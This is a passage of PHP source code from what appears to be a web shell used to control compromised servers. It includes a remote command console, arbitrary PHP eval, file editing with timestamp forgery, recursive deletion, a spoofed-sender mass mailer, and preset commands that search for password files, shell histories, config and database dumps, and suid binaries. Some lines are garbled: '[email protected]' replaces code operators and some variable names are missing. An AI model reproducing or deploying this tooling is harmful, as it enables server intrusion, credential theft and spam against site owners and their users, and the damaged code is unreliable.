                                                                $type = @mime_content_type($_POST['p1']);
                                                                header('Content-Type: ' . $type);
                                                            } else {
                                                                header('Content-Type: application/octet-stream');
                                                            }
                                                            $fp = @fopen($_POST['p1'], 'r');
                                                            if ($fp) {
                                                                while ([email protected]($fp)) {
                                                                    echo @fread($fp, 1024);
                                                                }
                                                                fclose($fp);
                                                            }
                                                        }
                                                        exit();
                                                    }
                                                    if (@$_POST['p2'] == 'mkfile') {
                                                        if (!file_exists($_POST['p1'])) {
                                                            $fp = @fopen($_POST['p1'], 'w');
                                                            if ($fp) {
                                                                $_POST['p2'] = 'edit';
                                                                fclose($fp);
                                                            }
                                                        }
                                                    }
                                                    hardHeader();
                                                    echo '<h1>File tools</h1><div class=content>';
                                                    if (!file_exists(@$_POST['p1'])) {
                                                        echo 'File not exists';
                                                        hardFooter();
                                                        return;
                                                    }
                                                    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                                    if (!$uid) {
                                                        $uid['name'] = @fileowner($_POST['p1']);
                                                        $gid['name'] = @filegroup($_POST['p1']);
                                                    } else {
                                                        $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                                    }
                                                    echo '<div style="display: block ruby;"><span style="margin-left:8px">Name:</span> ' . '<span class="badge-info">' . htmlspecialchars(@basename($_POST['p1'])) . '</span>' . '<span style="margin-left:8px">Size:</span> ' . '<span class="badge-info">' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . '</span>' . '<span style="margin-left:8px">Permission:</span> ' . '<span class="badge-info">' . viewPermsColor($_POST['p1']) . '</span>' . '<span style="margin-left:8px">Owner/Group:</span> ' . '<span class="badge-info">' . $uid['name'] . '/' . $gid['name'] . '</span></div>' . '<br>';
                                                    echo '<br/><span>Create time:</span> ' . '<span class="badge-info">' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . '</span>' . ' <br/><br/><span>Access time:</span> ' . '<span class="badge-info">' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . '</span>' . ' <br/><br/><span>Modify time:</span> ' . '<span class="badge-info">' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '</span>' . '<br><br>';
                                                    if (empty($_POST['p2'])) {
                                                        $_POST['p2'] = 'view';
                                                    }
                                                    if (is_file($_POST['p1'])) {
                                                        $m = ['View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame', ];
                                                    } else {
                                                        $m = ['Chmod', 'Rename', 'Touch'];
                                                    }
                                                    foreach ($m as $v) {
                                                        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
                                                    }
                                                    echo '<br><br>';
                                                    switch ($_POST['p2']) {
                                                        case 'view':
                                                            echo '<pre class=ml1>';
                                                            $fp = @fopen($_POST['p1'], 'r');
                                                            if ($fp) {
                                                                while ([email protected]($fp)) {
                                                                    echo htmlspecialchars(@fread($fp, 1024));
                                                                }
                                                                @fclose($fp);
                                                            }
                                                            echo '</pre>';
                                                        break;
                                                        case 'highlight':
                                                            if (@is_readable($_POST['p1'])) {
                                                                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                                                                $oRb = @highlight_file($_POST['p1'], true);
                                                                echo str_replace(['<span ', '</span>'], ['<font ', '</font>'], $oRb) . '</div>';
                                                            }
                                                        break;
                                                        case 'chmod':
                                                            if (!empty($_POST['p3'])) {
                                                                $perms = 0;
                                                                for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) {
                                                                    $perms+= (int)$_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                                                                }
                                                                if ([email protected]($_POST['p1'], $perms)) {
                                                                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                                                                }
                                                            }
                                                            clearstatcache();
                                                            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                                                        break;
                                                        case 'edit':
                                                            if (!is_writable($_POST['p1'])) {
                                                                echo 'File isn\'t writeable';
                                                                break;
                                                            }
                                                            if (!empty($_POST['p3'])) {
                                                                $time = @filemtime($_POST['p1']);
                                                                $_POST['p3'] = substr($_POST['p3'], 1);
                                                                $fp = @fopen($_POST['p1'], 'w');
                                                                if ($fp) {
                                                                    @fwrite($fp, $_POST['p3']);
                                                                    @fclose($fp);
                                                                    echo 'Saved!<br><script>p3_="";</script>';
                                                                    @touch($_POST['p1'], $time, $time);
                                                                }
                                                            }
                                                            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                                                            $fp = @fopen($_POST['p1'], 'r');
                                                            if ($fp) {
                                                                while ([email protected]($fp)) {
                                                                    echo htmlspecialchars(@fread($fp, 1024));
                                                                }
                                                                @fclose($fp);
                                                            }
                                                            echo '</textarea><input type=submit value="submit"></form>';
                                                        break;
                                                        case 'hexdump':
                                                            $c = @file_get_contents($_POST['p1']);
                                                            $n = 0;
                                                            $h = ['00000000<br>', '', ''];
                                                            $len = strlen($c);
                                                            for ($i = 0;$i < $len;++$i) {
                                                                $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
                                                                switch (ord($c[$i])) {
                                                                    case 0:
                                                                        $h[2].= ' ';
                                                                    break;
                                                                    case 9:
                                                                        $h[2].= ' ';
                                                                    break;
                                                                    case 10:
                                                                        $h[2].= ' ';
                                                                    break;
                                                                    case 13:
                                                                        $h[2].= ' ';
                                                                    break;
                                                                    default:
                                                                        $h[2].= $c[$i];
                                                                    break;
                                                                }
                                                                $n++;
                                                                if ($n == 32) {
                                                                    $n = 0;
                                                                    if ($i + 1 < $len) {
                                                                        $h[0].= sprintf('%08X', $i + 1) . '<br>';
                                                                    }
                                                                    $h[1].= '<br>';
                                                                    $h[2].= "
";
                                                                }
                                                            }
                                                            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                                                        break;
                                                        case 'rename':
                                                            if (!empty($_POST['p3'])) {
                                                                if ([email protected]($_POST['p1'], $_POST['p3'])) {
                                                                    echo 'Can\'t rename!<br>';
                                                                } else {
                                                                    die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                                                                }
                                                            }
                                                            echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                                                        break;
                                                        case 'touch':
                                                            if (!empty($_POST['p3'])) {
                                                                $time = strtotime($_POST['p3']);
                                                                if ($time) {
                                                                    if (!touch($_POST['p1'], $time, $time)) {
                                                                        echo 'Fail!';
                                                                    } else {
                                                                        echo 'Touched!';
                                                                    }
                                                                } else {
                                                                    echo 'Bad time format!';
                                                                }
                                                            }
                                                            clearstatcache();
                                                            echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date('Y-m-d H:i:s', @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                                                        break;
                                                            /* () 12.2015 mitryz */
                                                        case 'frame':
                                                            $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                                                            if ($frameSrc[0] != '/') {
                                                                $frameSrc = '/' . $frameSrc;
                                                            }
                                                            if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                                                                $frameSrc = $frameSrc . '/';
                                                            }
                                                            $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
                                                            echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                                                        break;
                                                    }
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                if ($os == 'win') {
                                                    $aliases = ['List Directory' => 'dir', 'Find index.php in current dir' => 'dir /s /w /b index.php', 'Find *config*.php in current dir' => 'dir /s /w /b *config*.php', 'Show active connections' => 'netstat -an', 'Show running services' => 'net start', 'User accounts' => 'net user', 'Show computers' => 'net view', 'ARP Table' => 'arp -a', 'IP Configuration' => 'ipconfig /all', ];
                                                } else {
                                                    $aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => "find / -type f -name \"config*\"", 'find config* files in current dir' => "find . -type f -name \"config*\"", 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => "locate '.conf'", 'locate .pwd files' => "locate '.pwd'", 'locate .sql files' => "locate '.sql'", 'locate .htpasswd files' => "locate '.htpasswd'", 'locate .bash_history files' => "locate '.bash_history'", 'locate .mysql_history files' => "locate '.mysql_history'", 'locate .fetchmailrc files' => "locate '.fetchmailrc'", 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv', ];
                                                }
                                                function actionConsole() {
                                                    if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                                                        $_POST['p1'].= ' 2>&1';
                                                    } elseif (!empty($_POST['p1'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
                                                    }
                                                    if (isset($_POST['ajax'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                        ob_start();
                                                        echo "d.cf.cmd.value='';
";
                                                        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ " . $_POST['p1'] . "
" . ex($_POST['p1']), "

	\'"));
                                                        if (preg_match('!.*cd\s+([^;]+)$!', $_POST['p1'], $match)) {
                                                            if (@chdir($match[1])) {
                                                                $GLOBALS['cwd'] = @getcwd();
                                                                echo "c_='" . $GLOBALS['cwd'] . "';";
                                                            }
                                                        }
                                                        echo "d.cf.output.value+='" . $temp . "';";
                                                        echo 'd.cf.output.scrollTop = d.cf.output.scrollHeight;';
                                                        $temp = ob_get_clean();
                                                        echo strlen($temp), "
", $temp;
                                                        exit();
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                    }
                                                    hardHeader();
                                                    echo "<script> 
if(window.Event) window.captureEvents(Event.KEYDOWN); 
var cmds = new Array(''); 
var cur = 0; 
function kp(e) { 
    var n = (window.Event) ? e.which : e.keyCode; 
    if(n == 38) { 
        cur--; 
        if(cur>=0) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur++; 
    } else if(n == 40) { 
        cur++; 
        if(cur < cmds.length) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur--; 
    } 
} 
function add(cmd) { 
    cmds.pop(); 
    cmds.push(cmd); 
    cmds.push(''); 
    cur = cmds.length-1; 
} 
</script>";
                                                    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
                                                    foreach ($GLOBALS['aliases'] as $n => $v) {
                                                        if ($v == '') {
                                                            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                                                            continue;
                                                        }
                                                        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
                                                    }
                                                    echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class="bigarea output-result" name=output style="border-bottom:0;margin-top:5px;" readonly>';
                                                    if (!empty($_POST['p1'])) {
                                                        echo htmlspecialchars('$ ' . $_POST['p1'] . "
" . ex($_POST['p1']));
                                                    }
                                                    echo '</textarea><p style="font-weight: bold;
    color: #fff;
    font-size: 15px;
    ">cmd:</p><input placeholder="type here ..." type=text name=cmd style="width:100%;padding:20px" onkeydown="kp(event);"><br/><br/>';
                                                    echo '</form></div><script>d.cf.cmd.focus();</script>';
                                                    hardFooter();
                                                }
                                                function actionSendMail() {
                                                    hardHeader();
                                                    echo '<h1>Send Mail</h1><div class=content>
    <form class="send_mail_form" name=pf method=post>
    <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">
        <input type=hidden name=p3  value="">
        <input type=hidden name=p2  value="">
        <input type=hidden name=p1  value="">

     <div><label>Subject</label> <input required type="text" name="subject"/></div><br/>
     <div><label>From Name</label> <input required type="text"  name="name"/></div><br/>
     <div><label>Sender</label> <input required type="text"  name="sender"/></div><br/>
     <div><label>Mail List</label> <br/><textarea required name="maillist"></textarea></div><br/>
     <div><label>Message</label> <br/><textarea required name="message"></textarea></div><br/>
     <div><label>message type:</label>
     <label for="html">Html</label>  <input style="height:unset" required type="radio" value="html" id="html" name="type"/>
    <label for="simple">Simple text</label>  <input style="height:unset"  required type="radio" checked value="simple" id="simple" name="type"/></div><br/>
     ' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Send style="margin-top:5px">';
                                                    if (isset($_POST['subject'])) {
                                                        $maillist = explode("
", $_POST['maillist']);
                                                        $to = implode(',', $maillist);
                                                        $subject = $_POST['subject'];
                                                        $message = $_POST['message'];
                                                        $headers = 'MIME-Version: 1.0' . "
";
                                                        if ($_POST['type'] === 'html') {
                                                            $headers.= 'Content-type: text/html; charset=iso-8859-1' . "
";
                                                        }
                                                        $headers = 'From: ' . $_POST['name'] . ' <' . $_POST['sender'] . '>' . PHP_EOL . 'Reply-To:' . $_POST['name'] . ' <' . $_POST['sender'] . '>' . PHP_EOL . 'X-Mailer: PHP/' . phpversion();
                                                        if (mail($to, $subject, $message, $headers)) {
                                                            echo '<pre>Email sent successfully</pre>';
                                                        } else {
                                                            echo '<pre>Email sent faild</pre>';
                                                        }
                                                    }
                                                }
                                                function actionPhp() {
                                                    if (isset($_POST['ajax'])) {
                                                        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                                                        ob_start();
                                                        eval($_POST['p1']);
                                                        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
                                                        echo strlen($temp), "
", $temp;
                                                        exit();
                                                    }
                                                    hardHeader();
                                                    if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                                                        echo '<h1>PHP info</h1><div class=content>';
                                                        ob_start();
                                                        phpinfo();
                                                        $tmp = ob_get_clean();
                                                        $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
                                                        $tmp = preg_replace('!a:\w+ {.*}!msiU', '', $tmp);
                                                        $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
                                                        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
                                                        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
                                                        echo $tmp;
                                                        echo '</div><br>';
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                                                        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
                                                    }
                                                    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                                    echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                                    if (!empty($_POST['p1'])) {
                                                        ob_start();
                                                        eval($_POST['p1']);
                                                        echo htmlspecialchars(ob_get_clean());
                                                    }
                                                    echo '</pre></div>';
                                                    hardFooter();
                                                }
                                                function actionFilesMan() {
                                                    if (!empty($_COOKIE['f'])) {
                                                        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                                    }
                                                    if (!empty($_POST['p1'])) {
                                                        switch ($_POST['p1']) {
                                                            case 'uploadFile':
                                                                if (is_array($_FILES['f']['tmp_name'])) {
                                                                    foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                                                        if ([email protected]_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                                                            echo "Can't upload file!";
                                                                        }
                                                                    }
                                                                }
                                                            break;
                                                            case 'mkdir':
                                                                if ([email protected]($_POST['p2'])) {
                                                                    echo "Can't create new dir";
                                                                }
                                                            break;
                                                            case 'delete':
                                                                function deleteDir($path) {
                                                                    $path = substr($path, -1) == '/' ? $path : $path . '/';
                                                                    $dh = opendir($path);
                                                                    while (($ = readdir($dh)) !== false) {
                                                                        $ = $path . $;
                                                                        if (basename($) == '..' || basename($) == '.') {
                                                                            continue;
                                                                        }
                                                                        $type = filetype($);
                                                                        if ($type == 'dir') {
                                                                            deleteDir($);
                                                                        } else {
                                                                            @unlink($);
                                                                        }
                                                                    }
                                                                    closedir($dh);
                                                                    @rmdir($path);
                                                                }
                                                                if (is_array(@$_POST['f'])) {
                                                                    foreach ($_POST['f'] as $f) {
                                                                        if ($f == '..') {
                                                                            continue;
                                                                        }
                                                                        $f = urldecode($f);
                                                                        if (is_dir($f)) {
                                                                            deleteDir($f);
                                                                        } else {
                                                                            @unlink($f);
                                                                        }
                                                                    }
                                                                }
                                                            break;
                                                            case 'paste':
                                                                if ($_COOKIE['act'] == 'copy') {
                                                                    function copy_paste($c, $s, $d) {
                                                                        if (is_dir($c . $s)) {
                                                                            mkdir($d . $s);
                                                                            $h = @opendir($c . $s);
                                                                            while (($f = @readdir($h)) !== false) {
                                                                                if ($f != '.' and $f != '..') {
                                                                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                                }
                                                                            }
                                                                        } elseif (is_file($c . $s)) {
                                                                            @copy($c . $s, $d . $s);
                                                                        }
                                                                    }
                                                                    foreach ($_COOKIE['f'] as $f) {
                                                                        copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                                    }
                                                                } elseif ($_COOKIE['act'] == 'move') {
                                                                    function move_paste($c, $s, $d) {
                                                                        if (is_dir($c . $s)) {
                                                                            mkdir($d . $s);
                                                                            $h = @opendir($c . $s);
                                                                            while (($f = @readdir($h)) !== false) {
                                                                                if ($f != '.' and $f != '..') {
                                                                                    copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                                }
                                                                            }
                                                                        } elseif (@is_file($c . $s)) {
                                                                            @copy($c . $s, $d . $s);
                                                                        }
                                                                    }
                                                                    foreach ($_COOKIE['f'] as $f) {
                                                                        @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                                    }
                                                                } elseif ($_COOKIE['act'] == 'zip') {
                                                                    if (class_exists('ZipArchive')) {
                                                                        $zip = new ZipArchive();
                                                                        if ($zip->open($_POST['p2'], ZipArchive::CREATE)) {
                                                                            chdir($_COOKIE['c']);
                                                                            foreach ($_COOKIE['f'] as $f) {
                                                                                if ($f == '..') {
                                                                                    continue;
                                                                                }
                                                                                if (@is_file($_COOKIE['c'] . $f)) {
                                                                                    $zip->addFile($_COOKIE['c'] . $f, $f);
                                                                                } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                                    foreach ($iterator as $key => $value) {
                                                                                        $zip->addFile(realpath($key), $key);
                                                                                    }
                                                                                }
                                                                            }
                                                                            chdir($GLOBALS['cwd']);
                                                                            $zip->close();
                                                                        }
                                                                    }
                                                                } elseif ($_COOKIE['act'] == 'unzip') {
                                                                    if (class_exists('ZipArchive')) {
                                                                        $zip = new ZipArchive();
                                                                        foreach ($_COOKIE['f'] as $f) {
                                                                            if ($zip->open($_COOKIE['c'] . $f)) {
                                                                                $zip->extractTo($GLOBALS['cwd']);
                                                                                $zip->close();
                                                                            }
                                                                        }
                                                                    }
                                                                } elseif ($_COOKIE['act'] == 'tar') {
                                                                    chdir($_COOKIE['c']);
                                                                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                                    chdir($GLOBALS['cwd']);
                                                                }
                                                                unset($_COOKIE['f']);
                                                                setcookie('f', '', time() - 3600);
                                                            break;
                                                            default:
                                                                if (!empty($_POST['p1'])) {
                                                                    prototype('act', $_POST['p1']);
                                                                    prototype('f', serialize(@$_POST['f']));
                                                                    prototype('c', @$_POST['c']);
                                                                }
                                                            break;
                                                        }
                                                    }
                                                    hardHeader();
                                                    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
                                                    $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                                    if ($dirContent === false) {
                                                        echo 'Can\'t open this folder!';
                                                        hardFooter();
                                                        return;
                                                    }
                                                    global $sort;
                                                    $sort = ['name', 1];
                                                    if (!empty($_POST['p1'])) {
                                                        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) {
                                                            $sort = [$match[1], (int)$match[2]];
                                                        }
                                                    }
                                                    echo "<script> 
    function sa() { 
        for(i=0;i<d.files.elements.length;i++) 
            if(d.files.elements[i].type == 'checkbox') 
                d.files.elements[i].checked = d.files.elements[0].checked; 
    } 
</script> 
<table width='100%' class='main' cellspacing='0' cellpadding='2'> 
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                                                    $dirs = $files = [];
                                                    $n = count($dirContent);
                                                    for ($i = 0;$i < $n;$i++) {
                                                        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                                        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                                                        $tmp = ['name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]), ];
                                                        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                                                            $files[] = array_merge($tmp, ['type' => 'file']);
                                                        } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                                                            $dirs[] = array_merge($tmp, ['type' => 'link', 'link' => readlink($tmp['path']), ]);
                                                        } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != '.') {
                                                            $dirs[] = array_merge($tmp, ['type' => 'dir']);
                                                        }
                                                    }
                                                    $GLOBALS['sort'] = $sort;
                                                    function cmp($a, $b) {
                                                        if ($GLOBALS['sort'][0] != 'size') {
                                                            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                        } else {
                                                            return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                                                        }
                                                    }
                                                    usort($files, 'cmp');
                                                    usort($dirs, 'cmp');
                                                    $files = array_merge($dirs, $files);
                                                    $l = 0;
                                                    foreach ($files as $f) {
                                                        echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                                                        $l = $l ? 0 : 1;
                                                    }
                                                    echo "<tr id=fak><td colspan=7> 
    <input type=hidden name=ne value=''> 
    <input type=hidden name=a value='FilesMan'> 
    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'> 
    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> 
    <label><select name='p1'>";
                                                    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                                                        echo "<option value='paste'> Paste</option>";
                                                    }
                                                    if (class_exists('ZipArchive')) {
                                                        echo "<option value='unzip'>Unzip compress</option><option value='zip'> compress</option>";
                                                    }
                                                    echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
                                                    echo "<option value='tar'>zip tar.gz</option>";
                                                    echo '</select></label>';
                                                    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                                                        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date('Ymd_His') . '.' . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                                    }
                                                    echo "<input type='submit' value='submit'></td></tr></form></table></div>";
                                                    hardFooter();
                                                }
                                                function actionStringTools() {
